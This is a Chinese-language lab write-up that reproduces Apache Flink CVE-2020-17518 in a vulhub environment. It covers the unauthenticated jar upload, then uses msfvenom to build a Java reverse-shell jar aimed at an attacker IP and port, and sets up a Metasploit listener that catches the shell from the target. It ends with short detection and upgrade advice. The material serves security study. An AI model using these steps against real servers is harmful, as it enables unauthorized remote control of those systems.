漏洞描述
Apache Flink 是由Apache软件基金会开发的开源流处理框架,其核心是用Java和Scala编写的分布式流数据流引擎。Flink以数据并行和流水线方式执行任意流数据程序,Flink的流水线运行时系统可以执行批处理和流处理程序。
编号:CVE-2020-17518
Flink 1.5.1引入了REST API,但其实现上存在多处缺陷,导致目录遍历和任意文件写入漏洞。
影响范围
Apache Flink 1.5.1 ~ 1.11.2
漏洞复现
本次使用的环境以及对应的ip:
vulhub_kali_linux : 192.168.157.139
kali_linux : 192.168.157.138
本机 : 192.168.3.111
3.1漏洞挖掘
启动vulhub_kali_linux
进入vulhub靶场已经给CVE-2020-17518搭建好的环境
cd vulhub/flink/CVE-2020-17518
使用docker启动flink环境
这一步需要root权限,如果没有可以使用命令登录
sudo su root
docker-compose up -d
环境启动后,本机访问
http://192.168.157.139:8081
上传任意文件,进行bp抓包
发送请求,发现报错,报错信息 提示只能上传.jar后缀名
在filename字段值修改为jar后缀名 ,发送请求,回显的状态码200以及参数说明上传成功
回显的信息发现上传文件的位置:
/tmp/flink-web-3460e088-be36-4373-acd8-d32efadebf03/flink-web-upload
在vulhub_kali_linux环境输入命令,进入flink容器中,遍历文件上传位置
docker ps
docker exec -it 3d0fafb6bb6e /bin/bash
ls /tmp/flink-web-3460e088-be36-4373-acd8-d32efadebf03/flink-web-upload
发现文件上传成功
3.2漏洞利用
启动kali_linux
打开flink页面
使用kali的msfvenom工具,生成文件的目录自定义
lhost为kali_linux的IP地址 lport为kali_linux的端口 >后面为文件路径以及文件名
msfvenom -p java/shell_reverse_tcp lhost=192.168.157.138 lport=1314 -f jar >/home/xiaoya/桌面/2.jar
在桌面上生成2.jar
启动msf监听
msfconsole
# 设置监听模块
use exploit/multi/handler
# 设置 payload
set payload java/shell_reverse_tcp
# 设置监听 IP 地址
set lhost 192.168.157.138
# 设置监听端口
set lport 1314
# 执行
run
上传文件
获取反弹的shell
点击Submit后,稍微等一下,msf就可以监听到靶机反弹的shell
现在获取了靶机的权限,可以执行进一步的操作(就相当于自己电脑使用了)
漏洞检测
可以通过分析apache日志来检测攻击
漏洞修复
官方已发布安全版本,请及时下载升级至安全版本。
版权归原作者 亚瑞塔斯·D·紫耀 所有, 如有侵权,请联系我们删除。